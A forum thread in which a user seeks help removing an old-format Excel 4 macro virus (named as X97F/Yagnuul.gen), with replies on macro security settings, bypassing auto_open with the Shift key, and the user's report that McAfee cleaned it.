In Excel We can allow to run only signed trusted Macros.

Tools --> Macro --> Security --> Select "High"

Maybe it's not the answer, because its code is written in old fomat not VBA, the code is writen on the sheet of the files, you can download my sample

I tried the Codecleaner but it could not help.

Thanks for your answer, please help me.

Can't you open your file with the shift key pressed? That way no auto_open macro will run, and you should be able to unhide and kill the XL4 macro sheet.

Hope this helps.

Ok, the answer is Mcafee, thanks all for help
tamyeu, can you answer the following pls

what was the virus?
did mcafee successfully remove all instances of it?
were you using any antivirus beforehand - was it using up-to-date definitions?

tamyeuAuthor Commented:
The virus name is X97F/Yagnuul.gen
yes, Mcafee removed successfully
before using Mcafee i used Bitdefender, kaspersky, Nod32, BKV... some programs did not know the virus and other do not know anything. Finally i used Mcafee 2007 trial version and it's successful
